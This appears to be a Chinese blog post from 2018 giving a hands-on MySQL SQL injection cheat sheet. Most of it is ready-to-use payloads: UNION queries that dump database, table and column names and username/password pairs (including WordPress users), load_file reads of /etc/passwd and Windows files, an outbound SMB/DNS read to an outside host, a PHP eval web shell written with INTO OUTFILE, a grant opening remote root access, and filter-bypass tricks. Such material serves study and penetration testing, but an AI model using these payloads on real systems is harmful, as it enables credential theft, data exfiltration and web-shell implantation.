SQL注入

MySQL 手工注入:

一、判断注入点是否存在:

1.1 数字型:

http://www.xxx.cn/list.php?page=4&id=524' 返回错误
http://www.xxx.cn/list.php?page=4&id=524 and 1=1 返回正确
http://www.xxx.cn/list.php?page=4&id=524 and 1=2 返回错误
PS:
弱类型语言(ASP/PHP): 'id=8' => int、 'id=8 and 1=1' => String
强类型语言(java/C#): String转换int,则会抛出异常

1.2 字符型:

http://www.xxx.cn/list.php?page=4&cid=x' 返回错误
http://www.xxx.cn/list.php?page=4&cid=x' and '1'='1 返回正确
http://www.xxx.cn/list.php?page=4&cid=x' and '1'='1 返回错误

1.3 搜索型:

' 返回错误
x%' and 1=1 and '%'='    返回正确
x%' and 1=2 and '%'='    返回错误
PS:
LIKE查询:SELECT * from runoob_tbl WHERE runoob_author LIKE '%COM'
'%a%' //含有a的数据

二、判断字段数

2.1 数字型:

http://www.xxx.cn/list.php?page=4&id=524 order by 17 返回正确
http://www.xxx.cn/list.php?page=4&id=524 order by 18 返回错误

2.2 字符型:

http://www.xxx.cn/list.php?page=4&cid=x' order by 17 #  返回正确
http://www.xxx.cn/list.php?page=4&cid=x' order by 18 #   返回错误

2.3 搜索型:

x%' order by 17 #     返回正确
x%' order by 18 # 返回错误
PS:
order by:根据指定的列对结果集进行排序
SQL注入order by作用是判断表中有多少个字段

三、寻找可显示字段:

3.1 数字型:

http://www.xxx.cn/list.php?page=4&id=524 and 1=2 union select 1,2,3,4,5,6,7,8,9,....

3.2 字符型:

http://www.xxx.cn/list.php?page=4&cid=x' and 1=2 union select 1,2,3,4,5,6,7,8,9,.... #

3.3 搜索型:

x%' and 1=2 union select 1,2,3,4,5,6,7,8,9,.... #

四、查数据库名

4.1 数字型:

http://www.xxx.cn/list.php?page=4&id=524 and 1=2 union select 1,2,database(),4,5,6,7,8,9,....

4.2 字符型:

http://www.xxx.cn/list.php?page=4&cid=x' and 1=2 union select 1,2,database(),4,5,6,7,8,9,.... #

4.3 搜索型:

x%' and 1=2 union select 1,2,database(),4,5,6,7,8,9,.... #
PS:
select database()

五、查数据库中表名

5.1 数字型:

http://www.xxx.cn/list.php?page=4&id=524 and 1=2 union select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema='数据库名'

5.2 字符型:

http://www.xxx.cn/list.php?page=4&id=x' and 1=2 union select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema='数据库名' #

5.3 搜索型:

小智%' and 1=2 union select 1,2,group_concat(table_name),4,5,6,7,8,9,.... from information_schema.tables where table_schema='数据库名' #
select * from character_sets union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema=0x776f72647072657373
PS:
1、数据库名可以使用十六进制:
2、information_schema库:
有tables表
table_schema(表属于那个数据库)
table_name(数据库里的表名)
3、group_concat:将group by产生的同一个分组中的值连接起来,返回一个字符串结果

六、查表中的列名

6.1 数字型:

http://www.xxx.cn/list.php?page=4&id=524 and 1=2 union select 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name='表名'

6.2 字符型:

http://www.xxx.cn/list.php?page=4&id=x' and 1=2 union select 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name='表名' #

6.3 搜索型:

小智%' and 1=2 union select 1,2,group_concat(column_name),4,5,6,7,8,9,.... from information_schema.columns where table_name='表名' #
PS:
1、表名也可以使用十六进制
2、select * from character_sets union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name='wp_users'

七、查表中的数据

7.1 数字型:

http://www.xxx.cn/list.php?page=4&id=524 and 1=2 union select 1,group_concat(username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from 表名

7.2 字符型:

http://www.xxx.cn/list.php?page=4&id=x' and 1=2 union select 1,group_concat(username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from 表名 #

7.3 搜索型:

x%' and 1=2 union select 1,2,group_concat(username,password),4,5,6,7,8,9,.... from 表名 #
PS:
select * from character_sets union select 1,2,group_concat(user_login,user_pass),4 from wordpress.wp_users

MySQL 常用的函数:

显示数据库:show databases;
显示表名: show tables;
显示版本:select version();
显示字符集:select @@character_set_database;
显示计算机名:select @@hostname;
显示系统版本:select @@version_compile_os;
显示mysql路径:select @@basedir;
显示数据库路径:select @@datadir;
显示root密码:select User,Password from mysql.user;
开启外连:GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;

MySQL 函数的利用:

1、load_file()函数

查看权限:show variables like '%secure_file_priv%';
路径必须为绝对路径,而且需要root权限
union select 1,load_file('/etc/passwd'),3,4,5 #
用十六进行绕过单引号过滤
union select 1,load_file(0x272F6574632F70617373776427),3,4,5 #
PS:
select load_file('C:\Windows\win.ini')
select load_file('c:/boot.ini')
select load_file(0x633a2f626f6f742e696e69)
select load_file('//ecma.io/1.txt') # smb协议
select load_file('\\\\ecma.io\\1.txt') # 可用于DNS隧道

2、out_file()函数

select 1,'<?php eval($_POST[cmd])?>',3 into outfile 'D:/test.php'--

SQL注入QA~

Q:id-1 判断有注入 id+1 可以吗?
A:不行,URL+代表空格

Q:mysql有几种注释方式?
A:三种:
1、# 注释该行
2、/注释多行/
3、--+(--为注释,空格会被浏览器过滤所以有+)

Q:/*! ... */啥意思?
A:注释后+!+数据库编号,注释可以被执行
select 1 /*!40119 + 1*/
返回2(MySQL版本为4.01.19或者更高)
返回1(其他情况)
select 1 /*!40119 + 1,version()*/

Q:"select select * from admin" 可以执行吗?
A:不可以,select双层需要加() eg: select (select @@datadir);

Q:windows下的Oracle数据库是什么权限?
A:必须是以system权限运行

过滤:

Q:空格过滤了,可以使用那些绕过,eg:un%0aion当union?
A://来替换eg: select/**/(select/**/@@datadir);
%09
%0A
%0D
+
/|–|/
/@–|/
/?–|/
/|%20–%20|/

Q:'='被过滤?
A:考虑like替换
eg:union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name like 'wp_users'

Q:空格被过滤?
A:考虑/**/'替换
eg:union/**/select/**/password/**/from/**/users/**/where/**/username/**/like/**/admin;

Q:关键字被过滤?
A:考虑内链注释来绕过:
uni/**/on/**/sel/**/ect/**/password/**/fr/**/om/**/users/**/wh/**/ere/**/username/**/like/**/admin;

比较MSSQL、MYSQL、Oracle:

Q:SQL注入中'+'?
A:
MSSQL: "+"运算符被用于字符串和加法运算 '1'+'1'='11',1+1=2;
MySQL:"+"运算符只被用于加法运算,'1'+'1'='2',1+1=2;
Oracle:"+"运算符只被用于加法运算,'1'+'1'='2',1+1=2;

Q:字符串的连接符?
A:
MSSQL:'a' + 'b' = 'ab'
MYSQL:'a' 'b' = 'ab'
Oracle:'a'|| 'b' = 'ab'

Q:注释符:
MSSQL:'-- '(注意后面的空格),'/*...*/'
MySQL:'-- ','# ','/*...*/',注意,--后面必须要有一个或者多个空格。
Oracle:'-- ','/*...*/'
三种数据库中,通用的注释符是'-- '

 

posted @ 2018-12-12 17:38  竹小冉  阅读(462)  评论(0编辑  收藏  举报